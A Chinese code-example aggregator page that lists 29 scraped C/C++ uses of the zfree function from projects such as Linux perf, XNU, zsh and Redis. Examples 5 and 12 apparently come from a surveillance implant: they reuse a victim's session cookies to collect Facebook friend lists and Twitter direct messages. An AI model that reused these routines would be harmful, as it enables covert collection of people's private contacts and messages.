您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ zfree函数代码示例

51自学网 2021-06-03 11:59:20
  C++
这篇教程C++ zfree函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中zfree函数的典型用法代码示例。如果您正苦于以下问题:C++ zfree函数的具体用法?C++ zfree怎么用?C++ zfree使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了zfree函数的29个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: perf_evsel__free_prev_raw_counts

static void perf_evsel__free_prev_raw_counts(struct perf_evsel *evsel){	zfree(&evsel->prev_raw_counts);}
开发者ID:908626950,项目名称:linux,代码行数:4,


示例2: krealloc

//.........这里部分代码省略.........	register int zindex;	register vm_size_t allocsize;	vm_offset_t naddr;	/* can only be used for increasing allocation size */	assert(new_size > old_size);	/* if old_size is zero, then we are simply allocating */	if (old_size == 0) {		simple_unlock(lock);		naddr = kalloc(new_size);		simple_lock(lock);		*addrp = naddr;		return;	}	/* if old block was kmem_alloc'd, then use kmem_realloc if necessary */	if (old_size >= kalloc_max_prerounded) {		old_size = round_page_32(old_size);		new_size = round_page_32(new_size);		if (new_size > old_size) {			if (kmem_realloc(kalloc_map, *addrp, old_size, &naddr,					 new_size) != KERN_SUCCESS) {				panic("krealloc: kmem_realloc");				naddr = 0;			}			simple_lock(lock);			*addrp = naddr;			/* kmem_realloc() doesn't free old page range. */			kmem_free(kalloc_map, *addrp, old_size);			kalloc_large_total += (new_size - old_size);			if (kalloc_large_total > kalloc_large_max)			        kalloc_large_max = kalloc_large_total;		}		return;	}	/* compute the size of the block that we actually allocated */	allocsize = KALLOC_MINSIZE;	zindex = first_k_zone;	while (allocsize < old_size) {		allocsize <<= 1;		zindex++;	}	/* if new size fits in old block, then return */	if (new_size <= allocsize) {		return;	}	/* if new size does not fit in zone, kmem_alloc it, else zalloc it */	simple_unlock(lock);	if (new_size >= kalloc_max_prerounded) {		if (kmem_alloc(kalloc_map, &naddr, new_size) != KERN_SUCCESS) {			panic("krealloc: kmem_alloc");			simple_lock(lock);			*addrp = 0;			return;		}		kalloc_large_inuse++;		kalloc_large_total += new_size;		if (kalloc_large_total > kalloc_large_max)		        kalloc_large_max = kalloc_large_total;	} else {		register int new_zindex;		allocsize <<= 1;		new_zindex = zindex + 1;		while (allocsize < new_size) {			allocsize <<= 1;			new_zindex++;		}		naddr = zalloc(k_zone[new_zindex]);	}	simple_lock(lock);	/* copy existing data */	bcopy((const char *)*addrp, (char *)naddr, old_size);	/* free old block, and return */	zfree(k_zone[zindex], *addrp);	/* set up new address */	*addrp = naddr;}
开发者ID:OpenDarwin-CVS,项目名称:SEDarwin,代码行数:101,


示例3: cvarsetstr2

/* same as cvarsetstr, but allows more control over setting of cvar */Cvar*cvarsetstr2(const char *var_name, const char *value, qbool force){	Cvar *var;	/* comdprintf( "cvarsetstr2: %s %s/n", var_name, value ); */	if(!validatestr(var_name)){		comprintf("invalid cvar name string: %s/n", var_name);		var_name = "BADNAME";	}#if 0	/* FIXME */	if(value && !validatestr(value)){		comprintf("invalid cvar value string: %s/n", value);		var_value = "BADVALUE";	}#endif	var = look(var_name);	if(var == nil){		if(value == nil)			return nil;		/* create it */		if(!force)			return cvarget(var_name, value, CVAR_USER_CREATED);		else			return cvarget(var_name, value, 0);	}	if(value == nil)		value = var->resetString;	value = validate(var, value, qtrue);	if((var->flags & CVAR_LATCH) && (var->latchedString != nil)){		if(!strcmp(value, var->string)){			zfree(var->latchedString);			var->latchedString = nil;			return var;		}		if(!strcmp(value, var->latchedString))			return var;	}else if(!strcmp(value, var->string))		return var;	/* note what types of cvars have been modified (userinfo, archive, serverinfo, systeminfo) */	cvar_modifiedFlags |= var->flags;	if(!force){		if(var->flags & CVAR_ROM){			comprintf("%s is read only./n", var_name);			return var;		}		if(var->flags & CVAR_INIT){			comprintf("%s is write protected./n", var_name);			return var;		}		if(var->flags & CVAR_LATCH){			if(var->latchedString){				if(strcmp(value, var->latchedString) == 0)					return var;				zfree(var->latchedString);			}else if(strcmp(value, var->string) == 0)				return var;			comprintf("%s will be changed upon restarting./n",				var_name);			var->latchedString = copystr(value);			var->modified = qtrue;			var->modificationCount++;			return var;		}		if((var->flags & CVAR_CHEAT) && (cheatsenabled->integer <= 0)){			comprintf ("%s is cheat protected./n", var_name);			return var;		}	}else if(var->latchedString != nil){		zfree(var->latchedString);		var->latchedString = nil;	}	if(!strcmp(value, var->string))		return var;	/* not changed */	var->modified = qtrue;	var->modificationCount++;	zfree(var->string);	/* free the old value string */	var->string	= copystr(value);	var->value	= atof (var->string);	var->integer	= atoi (var->string);//.........这里部分代码省略.........
开发者ID:icanhas,项目名称:yantar,代码行数:101,


示例4: get_tracepoints_path

struct tracing_data *tracing_data_get(struct list_head *pattrs,				      int fd, bool temp){	struct tracepoint_path *tps;	struct tracing_data *tdata;	int err;	output_fd = fd;	tps = get_tracepoints_path(pattrs);	if (!tps)		return NULL;	tdata = malloc(sizeof(*tdata));	if (!tdata)		return NULL;	tdata->temp = temp;	tdata->size = 0;	if (temp) {		int temp_fd;		snprintf(tdata->temp_file, sizeof(tdata->temp_file),			 "/tmp/perf-XXXXXX");		if (!mkstemp(tdata->temp_file)) {			pr_debug("Can't make temp file");			return NULL;		}		temp_fd = open(tdata->temp_file, O_RDWR);		if (temp_fd < 0) {			pr_debug("Can't read '%s'", tdata->temp_file);			return NULL;		}		/*		 * Set the temp file the default output, so all the		 * tracing data are stored into it.		 */		output_fd = temp_fd;	}	err = tracing_data_header();	if (err)		goto out;	err = record_header_files();	if (err)		goto out;	err = record_ftrace_files(tps);	if (err)		goto out;	err = record_event_files(tps);	if (err)		goto out;	err = record_proc_kallsyms();	if (err)		goto out;	err = record_ftrace_printk();out:	/*	 * All tracing data are stored by now, we can restore	 * the default output file in case we used temp file.	 */	if (temp) {		tdata->size = lseek(output_fd, 0, SEEK_CUR);		close(output_fd);		output_fd = fd;	}	if (err)		zfree(&tdata);	put_tracepoints_path(tps);	return tdata;}
开发者ID:19Dan01,项目名称:linux,代码行数:77,


示例5: FacebookContactHandler

DWORD FacebookContactHandler(LPSTR strCookie){	LPSTR strUserId, strScreenName;	if (!ConfIsModuleEnabled(L"addressbook"))		return SOCIAL_REQUEST_SUCCESS;	// get user id and screen name	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))		return SOCIAL_REQUEST_BAD_COOKIE;	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array	LPSTR strRecvBuffer=NULL;	DWORD dwBuffSize;	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array	if (dwRet != SOCIAL_REQUEST_SUCCESS)	{		zfree(strRecvBuffer);		zfree(strUrl);		return SOCIAL_REQUEST_NETWORK_PROBLEM;	}	LPSTR strJson = strRecvBuffer;	while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)		strJson++;	JSONValue *jValue = JSON::Parse(strJson);	if (jValue != NULL && jValue->IsObject())	{		JSONObject jRoot = jValue->AsObject();		if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array		{			if (jRoot[L"payload"]->IsObject())			{				JSONObject jPayload = jRoot[L"payload"]->AsObject();				if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray())  //FIXME: array				{					JSONArray jEntries = jPayload[L"entries"]->AsArray();  //FIXME: array					for (DWORD i=0; i<jEntries.size(); i++)					{						LPWSTR strUID = NULL;						LPWSTR strName = NULL; 						LPWSTR strProfile = NULL;						if (!jEntries.at(i)->IsObject())							continue;						JSONObject jEntry = jEntries.at(i)->AsObject();						if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber())  //FIXME: array						{														strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));							_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber());  //FIXME: array						}						if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString())  //FIXME: array						{							strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 							memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array						}						if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString())  //FIXME: array						{							strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));							memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array						}						if (strUID && strName && strProfile)						{							LPSTR strTmp = (LPSTR) zalloc(1024);							_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);							DWORD dwFlags = 0;							if (!strncmp(strTmp, strUserId, strlen(strUserId)))								dwFlags = CONTACTS_MYACCOUNT;														SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);							zfree(strTmp);						}						zfree(strName);						zfree(strProfile);						zfree(strUID);					}				}			}		}	}	/* cleanup */	zfree(strUserId);	zfree(strScreenName);	zfree(strRecvBuffer);	zfree(strUrl);	if (jValue)		delete jValue;	return SOCIAL_REQUEST_BAD_COOKIE;}
开发者ID:amsterdamnedkid,项目名称:soldier-win,代码行数:98,


示例6: recursivecmd

static intrecursivecmd(char *nam, int opt_noerr, int opt_recurse, int opt_safe,    char **args, RecurseFunc dirpre_func, RecurseFunc dirpost_func,    RecurseFunc leaf_func, void *magic){    int err = 0, len;    char *rp, *s;    struct dirsav ds;    struct recursivecmd reccmd;    reccmd.nam = nam;    reccmd.opt_noerr = opt_noerr;    reccmd.opt_recurse = opt_recurse;    reccmd.opt_safe = opt_safe;    reccmd.dirpre_func = dirpre_func;    reccmd.dirpost_func = dirpost_func;    reccmd.leaf_func = leaf_func;    reccmd.magic = magic;    init_dirsav(&ds);    if (opt_recurse || opt_safe) {	if ((ds.dirfd = open(".", O_RDONLY|O_NOCTTY)) < 0 &&	    zgetdir(&ds) && *ds.dirname != '/')	    ds.dirfd = open("..", O_RDONLY|O_NOCTTY);    }    for(; !errflag && !(err & 2) && *args; args++) {	rp = ztrdup(*args);	unmetafy(rp, &len);	if (opt_safe) {	    s = strrchr(rp, '/');	    if (s && !s[1]) {		while (*s == '/' && s > rp)		    *s-- = '/0';		while (*s != '/' && s > rp)		    s--;	    }	    if (s && s[1]) {		int e;		*s = '/0';		e = lchdir(s > rp ? rp : "/", &ds, 1);		err |= -e;		if (!e) {		    struct dirsav d;		    d.ino = d.dev = 0;		    d.dirname = NULL;		    d.dirfd = d.level = -1;		    err |= recursivecmd_doone(&reccmd, *args, s + 1, &d, 0);		    zsfree(d.dirname);		    if (restoredir(&ds))			err |= 2;		} else if(!opt_noerr)		    zwarnnam(nam, "%s: %e", *args, errno);	    } else		err |= recursivecmd_doone(&reccmd, *args, rp, &ds, 0);	} else	    err |= recursivecmd_doone(&reccmd, *args, rp, &ds, 1);	zfree(rp, len + 1);    }    if ((err & 2) && ds.dirfd >= 0 && restoredir(&ds) && zchdir(pwd)) {	zsfree(pwd);	pwd = ztrdup("/");	if (chdir(pwd) < 0)	    zwarn("failed to chdir(%s): %e", pwd, errno);    }    if (ds.dirfd >= 0)	close(ds.dirfd);    zsfree(ds.dirname);    return !!err;}
开发者ID:AMDmi3,项目名称:zsh,代码行数:70,


示例7: aeDeleteEventLoop

void aeDeleteEventLoop(aeEventLoop *eventLoop) {    aeApiFree(eventLoop);    zfree(eventLoop->events);    zfree(eventLoop->fired);    zfree(eventLoop);}
开发者ID:HatsuneMiku3939,项目名称:libae,代码行数:6,


示例8: zevtimer_free

void zevtimer_free(zevtimer_t * timer){    zfree(timer);}
开发者ID:mailhonor,项目名称:libzc,代码行数:4,


示例9: zaio_free

void zaio_free(zaio_t * aio){    zfree(aio);}
开发者ID:mailhonor,项目名称:libzc,代码行数:4,


示例10: opendir

struct tracepoint_path *tracepoint_id_to_path(u64 config){	struct tracepoint_path *path = NULL;	DIR *sys_dir, *evt_dir;	struct dirent *sys_next, *evt_next, sys_dirent, evt_dirent;	char id_buf[24];	int fd;	u64 id;	char evt_path[MAXPATHLEN];	char dir_path[MAXPATHLEN];	if (debugfs_valid_mountpoint(tracing_events_path))		return NULL;	sys_dir = opendir(tracing_events_path);	if (!sys_dir)		return NULL;	for_each_subsystem(sys_dir, sys_dirent, sys_next) {		snprintf(dir_path, MAXPATHLEN, "%s/%s", tracing_events_path,			 sys_dirent.d_name);		evt_dir = opendir(dir_path);		if (!evt_dir)			continue;		for_each_event(sys_dirent, evt_dir, evt_dirent, evt_next) {			snprintf(evt_path, MAXPATHLEN, "%s/%s/id", dir_path,				 evt_dirent.d_name);			fd = open(evt_path, O_RDONLY);			if (fd < 0)				continue;			if (read(fd, id_buf, sizeof(id_buf)) < 0) {				close(fd);				continue;			}			close(fd);			id = atoll(id_buf);			if (id == config) {				closedir(evt_dir);				closedir(sys_dir);				path = zalloc(sizeof(*path));				path->system = malloc(MAX_EVENT_LENGTH);				if (!path->system) {					free(path);					return NULL;				}				path->name = malloc(MAX_EVENT_LENGTH);				if (!path->name) {					zfree(&path->system);					free(path);					return NULL;				}				strncpy(path->system, sys_dirent.d_name,					MAX_EVENT_LENGTH);				strncpy(path->name, evt_dirent.d_name,					MAX_EVENT_LENGTH);				return path;			}		}
开发者ID:Sanjay-F,项目名称:linux,代码行数:61,


示例11: BotImport_FreeMemory

/* * BotImport_FreeMemory */static voidBotImport_FreeMemory(void *ptr){	zfree(ptr);}
开发者ID:icanhas,项目名称:yantar,代码行数:8,


示例12: ParseDirectMessages

DWORD ParseDirectMessages(char *username, char *cookie){	DWORD ret_val, response_len;	BYTE *r_buffer = NULL, *thread_buffer = NULL;	char *parser1, *parser2, *thread_parser1, *thread_parser2;	char strCurrentThreadHandle[512];	WCHAR strConversationRequest[512];	char strDmType[24];	char strDmContent[256];	char strTimestamp[256];	DWORD last_tstamp_hi, last_tstamp_lo;	ULARGE_INTEGER act_tstamp;	struct tm tstamp;	char strUsernameForDm[256];	DWORD dwHigherBatchTimestamp = 0;#ifdef _DEBUG		OutputDebug(L"[*] %S/n", __FUNCTION__);#endif	/* use a new username for twitter dm since the timestamp would be the one we got from the timeline */	_snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username);	last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi);	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)		return SOCIAL_REQUEST_BAD_COOKIE;	ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/");	if (ret_val != SOCIAL_REQUEST_SUCCESS)		return ret_val;	parser1 = (char *) r_buffer;	/*	Fetch the available threads		e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"] 	*/	parser1 = strstr(parser1, "/"threads/":[");	if( !parser1 )	{		SAFE_FREE(r_buffer);		return -1;	}	parser1 = parser1 + strlen("/"threads/":[");	parser2 = strstr(parser1, "/"]},");	if( !parser2 )	{		zfree(r_buffer);		return SOCIAL_REQUEST_BAD_COOKIE;	}	parser2 += 1; // skip past last '"'	*parser2 = NULL;#ifdef _DEBUG	OutputDebug(L"[*] %S - available threads %S/n", __FUNCTION__, parser1);#endif		/*	loop through the list of available threads pointed by parser1 and requests its content 		e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks"	*/	for( ;; ) {		parser1 = strchr(parser1, '"');		if( !parser1 )			break;		parser1 += 1; // skip past '"'		parser2 = strchr(parser1, '"');		if( !parser2 )			break;		*parser2 = NULL;		_snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1);		parser1 = parser2 + 1;#ifdef _DEBUG		OutputDebug(L"[*] %S - parsing thread %S/n", __FUNCTION__, strCurrentThreadHandle);#endif		/*	fetch conversation			e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0 		*/		_snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle);		ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/");		/* if the request is not successful assume some serious issue happened, free resources and bail */		if (ret_val != SOCIAL_REQUEST_SUCCESS)		{			zfree(thread_buffer);			zfree(r_buffer);			return ret_val;		}		/* direct message structure:			1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=/"dm received js-dm-item'				find '<div class="dm ' (N.B space after dm) then decode whether it's send or received//.........这里部分代码省略.........
开发者ID:amsterdamnedkid,项目名称:soldier-win,代码行数:101,


示例13: coff_load_file

//.........这里部分代码省略.........  	if (error = VOP_GETATTR(vp, &attr, p->p_ucred, p))    		goto fail;  	if ((vp->v_mount->mnt_flag & MNT_NOEXEC)	    || ((attr.va_mode & 0111) == 0)	    || (attr.va_type != VREG))    		goto fail;  	if (attr.va_size == 0) {    		error = ENOEXEC;    		goto fail;  	}  	if (error = VOP_ACCESS(vp, VEXEC, p->p_ucred, p))    		goto fail;  	if (error = VOP_OPEN(vp, FREAD, p->p_ucred, p))    		goto fail;	/*	 * Lose the lock on the vnode. It's no longer needed, and must not	 * exist for the pagefault paging to work below.	 */	VOP_UNLOCK(vp, 0, p);  	if (error = vm_mmap(kernel_map,			    (vm_offset_t *) &ptr,			    PAGE_SIZE,			    VM_PROT_READ,		       	    VM_PROT_READ,			    0,			    (caddr_t) vp,			    0))    	goto fail;  	fhdr = (struct filehdr *)ptr;  	if (fhdr->f_magic != I386_COFF) {    		error = ENOEXEC;    		goto dealloc_and_fail;  	}  	nscns = fhdr->f_nscns;  	if ((nscns * sizeof(struct scnhdr)) > PAGE_SIZE) {    		/*     		 * XXX -- just fail.  I'm so lazy.     		 */    		error = ENOEXEC;    		goto dealloc_and_fail;  	}  	ahdr = (struct aouthdr*)(ptr + sizeof(struct filehdr));  	scns = (struct scnhdr*)(ptr + sizeof(struct filehdr)			  + sizeof(struct aouthdr));  	for (i = 0; i < nscns; i++) {    		if (scns[i].s_flags & STYP_NOLOAD)      			continue;    		else if (scns[i].s_flags & STYP_TEXT) {      			text_address = scns[i].s_vaddr;      			text_size = scns[i].s_size;      			text_offset = scns[i].s_scnptr;    		}		else if (scns[i].s_flags & STYP_DATA) {      			data_address = scns[i].s_vaddr;      			data_size = scns[i].s_size;      			data_offset = scns[i].s_scnptr;    		} else if (scns[i].s_flags & STYP_BSS) {      			bss_size = scns[i].s_size;    		}  	}  	if (error = load_coff_section(vmspace, vp, text_offset,				      (caddr_t)(void *)(uintptr_t)text_address,				      text_size, text_size,				      VM_PROT_READ | VM_PROT_EXECUTE)) {    		goto dealloc_and_fail;  	}  	if (error = load_coff_section(vmspace, vp, data_offset,				      (caddr_t)(void *)(uintptr_t)data_address,				      data_size + bss_size, data_size,				      VM_PROT_ALL)) {    		goto dealloc_and_fail;  	}  	error = 0; 	dealloc_and_fail:	if (vm_map_remove(kernel_map,			  (vm_offset_t) ptr,			  (vm_offset_t) ptr + PAGE_SIZE))    		panic(__FUNCTION__ " vm_map_remove failed"); fail:    vput(nd.ni_vp);	zfree(namei_zone, nd.ni_cnd.cn_pnbuf);  	return error;}
开发者ID:UnitedMarsupials,项目名称:kame,代码行数:101,


示例14: flowadv_free_entry

voidflowadv_free_entry(struct flowadv_fcentry *fce){    zfree(fadv_zone, fce);}
开发者ID:wzw19890321,项目名称:xnu-1,代码行数:5,


示例15: aeApiFree

static void aeApiFree(aeEventLoop *eventLoop) {    zfree(eventLoop->apidata);}
开发者ID:fjrti,项目名称:snippets,代码行数:3,


示例16: zev_free

void zev_free(zev_t * ev){    zfree(ev);}
开发者ID:mailhonor,项目名称:libzc,代码行数:4,


示例17: eventloopUninit

void eventloopUninit() {	threadRelease(M->thread);	aeDeleteEventLoop(M->eventloop);	zfree(M);}
开发者ID:zhangjinde,项目名称:z,代码行数:5,


示例18: bin_pcre_match

static intbin_pcre_match(char *nam, char **args, Options ops, UNUSED(int func)){    int ret, capcount, *ovec, ovecsize, c;    char *matched_portion = NULL;    char *receptacle = NULL;    int return_value = 1;    /* The subject length and offset start are both int values in pcre_exec */    int subject_len;    int offset_start = 0;    int want_offset_pair = 0;    if (pcre_pattern == NULL) {	zwarnnam(nam, "no pattern has been compiled");	return 1;    }        if(OPT_HASARG(ops,c='a')) {	receptacle = OPT_ARG(ops,c);    }    if(OPT_HASARG(ops,c='v')) {	matched_portion = OPT_ARG(ops,c);    }    if(OPT_HASARG(ops,c='n')) { /* The offset position to start the search, in bytes. */	offset_start = getposint(OPT_ARG(ops,c), nam);    }    /* For the entire match, 'Return' the offset byte positions instead of the matched string */    if(OPT_ISSET(ops,'b')) want_offset_pair = 1;         if(!*args) {	zwarnnam(nam, "not enough arguments");    }        if ((ret = pcre_fullinfo(pcre_pattern, pcre_hints, PCRE_INFO_CAPTURECOUNT, &capcount)))    {	zwarnnam(nam, "error %d in fullinfo", ret);	return 1;    }        ovecsize = (capcount+1)*3;    ovec = zalloc(ovecsize*sizeof(int));        subject_len = (int)strlen(*args);    if (offset_start < 0 || offset_start >= subject_len)	ret = PCRE_ERROR_NOMATCH;    else	ret = pcre_exec(pcre_pattern, pcre_hints, *args, subject_len, offset_start, 0, ovec, ovecsize);    if (ret==0) return_value = 0;    else if (ret==PCRE_ERROR_NOMATCH) /* no match */;    else if (ret>0) {	zpcre_get_substrings(*args, ovec, ret, matched_portion, receptacle,			     want_offset_pair, 0, 0);	return_value = 0;    }    else {	zwarnnam(nam, "error in pcre_exec");    }        if (ovec)	zfree(ovec, ovecsize*sizeof(int));    return return_value;}
开发者ID:Jaharmi,项目名称:zsh,代码行数:65,


示例19: perf_evsel__free_stat_priv

static void perf_evsel__free_stat_priv(struct perf_evsel *evsel){	zfree(&evsel->priv);}
开发者ID:AK101111,项目名称:linux,代码行数:4,


示例20: cond_pcre_match

static intcond_pcre_match(char **a, int id){    pcre *pcre_pat;    const char *pcre_err;    char *lhstr, *rhre, *avar=NULL;    int r = 0, pcre_opts = 0, pcre_errptr, capcnt, *ov, ovsize;    int return_value = 0;    if (zpcre_utf8_enabled())	pcre_opts |= PCRE_UTF8;    lhstr = cond_str(a,0,0);    rhre = cond_str(a,1,0);    pcre_pat = NULL;    ov = NULL;    if (isset(BASHREMATCH))	avar="BASH_REMATCH";    switch(id) {	 case CPCRE_PLAIN:		pcre_pat = pcre_compile(rhre, pcre_opts, &pcre_err, &pcre_errptr, NULL);		if (pcre_pat == NULL) {		    zwarn("failed to compile regexp /%s/: %s", rhre, pcre_err);		    break;		}                pcre_fullinfo(pcre_pat, NULL, PCRE_INFO_CAPTURECOUNT, &capcnt);    		ovsize = (capcnt+1)*3;		ov = zalloc(ovsize*sizeof(int));    		r = pcre_exec(pcre_pat, NULL, lhstr, strlen(lhstr), 0, 0, ov, ovsize);		/* r < 0 => error; r==0 match but not enough size in ov		 * r > 0 => (r-1) substrings found; r==1 => no substrings		 */    		if (r==0) {		    zwarn("reportable zsh problem: pcre_exec() returned 0");		    return_value = 1;		    break;		}	        else if (r==PCRE_ERROR_NOMATCH) return 0; /* no match */		else if (r<0) {		    zwarn("pcre_exec() error: %d", r);		    break;		}                else if (r>0) {		    zpcre_get_substrings(lhstr, ov, r, NULL, avar, 0,					 isset(BASHREMATCH),					 !isset(BASHREMATCH));		    return_value = 1;		    break;		}		break;    }    if (pcre_pat)	pcre_free(pcre_pat);    if (ov)	zfree(ov, ovsize*sizeof(int));    return return_value;}
开发者ID:Jaharmi,项目名称:zsh,代码行数:61,


示例21: zaddGenericCommand

/* This generic command implements both ZADD and ZINCRBY. * scoreval is the score if the operation is a ZADD (doincrement == 0) or * the increment if the operation is a ZINCRBY (doincrement == 1). */void zaddGenericCommand(redisClient *c, robj *key, robj *ele, double scoreval, int doincrement) {    robj *zsetobj;    zset *zs;    double *score;    if (isnan(scoreval)) {        addReplySds(c,sdsnew("-ERR provide score is Not A Number (nan)/r/n"));        return;    }    zsetobj = lookupKeyWrite(c->db,key);    if (zsetobj == NULL) {        zsetobj = createZsetObject();        dbAdd(c->db,key,zsetobj);    } else {        if (zsetobj->type != REDIS_ZSET) {            addReply(c,shared.wrongtypeerr);            return;        }    }    zs = zsetobj->ptr;    /* Ok now since we implement both ZADD and ZINCRBY here the code     * needs to handle the two different conditions. It's all about setting     * '*score', that is, the new score to set, to the right value. */    score = zmalloc(sizeof(double));    if (doincrement) {        dictEntry *de;        /* Read the old score. If the element was not present starts from 0 */        de = dictFind(zs->dict,ele);        if (de) {            double *oldscore = dictGetEntryVal(de);            *score = *oldscore + scoreval;        } else {            *score = scoreval;        }        if (isnan(*score)) {            addReplySds(c,                sdsnew("-ERR resulting score is Not A Number (nan)/r/n"));            zfree(score);            /* Note that we don't need to check if the zset may be empty and             * should be removed here, as we can only obtain Nan as score if             * there was already an element in the sorted set. */            return;        }    } else {        *score = scoreval;    }    /* What follows is a simple remove and re-insert operation that is common     * to both ZADD and ZINCRBY... */    if (dictAdd(zs->dict,ele,score) == DICT_OK) {        /* case 1: New element */        incrRefCount(ele); /* added to hash */        zslInsert(zs->zsl,*score,ele);        incrRefCount(ele); /* added to skiplist */        touchWatchedKey(c->db,c->argv[1]);        server.dirty++;        if (doincrement)            addReplyDouble(c,*score);        else            addReply(c,shared.cone);    } else {        dictEntry *de;        double *oldscore;        /* case 2: Score update operation */        de = dictFind(zs->dict,ele);        redisAssert(de != NULL);        oldscore = dictGetEntryVal(de);        if (*score != *oldscore) {            int deleted;            /* Remove and insert the element in the skip list with new score */            deleted = zslDelete(zs->zsl,*oldscore,ele);            redisAssert(deleted != 0);            zslInsert(zs->zsl,*score,ele);            incrRefCount(ele);            /* Update the score in the hash table */            dictReplace(zs->dict,ele,score);            touchWatchedKey(c->db,c->argv[1]);            server.dirty++;        } else {            zfree(score);        }        if (doincrement)            addReplyDouble(c,*score);        else            addReply(c,shared.czero);    }}
开发者ID:aditya,项目名称:redis,代码行数:95,


示例22: lexrestore

mod_export voidlexrestore(void){    struct lexstack *ln;    DPUTS(!lstack, "BUG: lexrestore() without lexsave()");    incmdpos = lstack->incmdpos;    incond = lstack->incond;    incasepat = lstack->incasepat;    dbparens = lstack->dbparens;    isfirstln = lstack->isfirstln;    isfirstch = lstack->isfirstch;    histactive = lstack->histactive;    histdone = lstack->histdone;    lexflags = lstack->lexflags;    stophist = lstack->stophist;    chline = lstack->hline;    hptr = lstack->hptr;    if (cmdstack)	free(cmdstack);    cmdstack = lstack->cstack;    cmdsp = lstack->csp;    tok = lstack->tok;    isnewlin = lstack->isnewlin;    tokstr = lstack->tokstr;    zshlextext = lstack->zshlextext;    bptr = lstack->bptr;    bsiz = lstack->bsiz;    len = lstack->len;    chwords = lstack->chwords;    chwordlen = lstack->chwordlen;    chwordpos = lstack->chwordpos;    hwgetword = lstack->hwgetword;    lexstop = lstack->lexstop;    hdocs = lstack->hdocs;    hgetc = lstack->hgetc;    hungetc = lstack->hungetc;    hwaddc = lstack->hwaddc;    hwbegin = lstack->hwbegin;    hwend = lstack->hwend;    addtoline = lstack->addtoline;    if (ecbuf)	zfree(ecbuf, eclen);    eclen = lstack->eclen;    ecused = lstack->ecused;    ecnpats = lstack->ecnpats;    ecbuf = lstack->ecbuf;    ecstrs = lstack->ecstrs;    ecsoffs = lstack->ecsoffs;    ecssub = lstack->ecssub;    ecnfunc = lstack->ecnfunc;    hlinesz = lstack->hlinesz;    toklineno = lstack->toklineno;    errflag = 0;    ln = lstack->next;    if (!ln) {	/* Back to top level: don't need special ZLE value */	DPUTS(chline != zle_chline, "BUG: Ouch, wrong chline for ZLE");	zle_chline = NULL;    }    free(lstack);    lstack = ln;}
开发者ID:cedarli,项目名称:zsh,代码行数:64,


示例23: zunionInterGenericCommand

void zunionInterGenericCommand(redisClient *c, robj *dstkey, int op) {    int i, j, setnum;    int aggregate = REDIS_AGGR_SUM;    zsetopsrc *src;    robj *dstobj;    zset *dstzset;    dictIterator *di;    dictEntry *de;    /* expect setnum input keys to be given */    setnum = atoi(c->argv[2]->ptr);    if (setnum < 1) {        addReplySds(c,sdsnew("-ERR at least 1 input key is needed for ZUNIONSTORE/ZINTERSTORE/r/n"));        return;    }    /* test if the expected number of keys would overflow */    if (3+setnum > c->argc) {        addReply(c,shared.syntaxerr);        return;    }    /* read keys to be used for input */    src = zmalloc(sizeof(zsetopsrc) * setnum);    for (i = 0, j = 3; i < setnum; i++, j++) {        robj *obj = lookupKeyWrite(c->db,c->argv[j]);        if (!obj) {            src[i].dict = NULL;        } else {            if (obj->type == REDIS_ZSET) {                src[i].dict = ((zset*)obj->ptr)->dict;            } else if (obj->type == REDIS_SET) {                src[i].dict = (obj->ptr);            } else {                zfree(src);                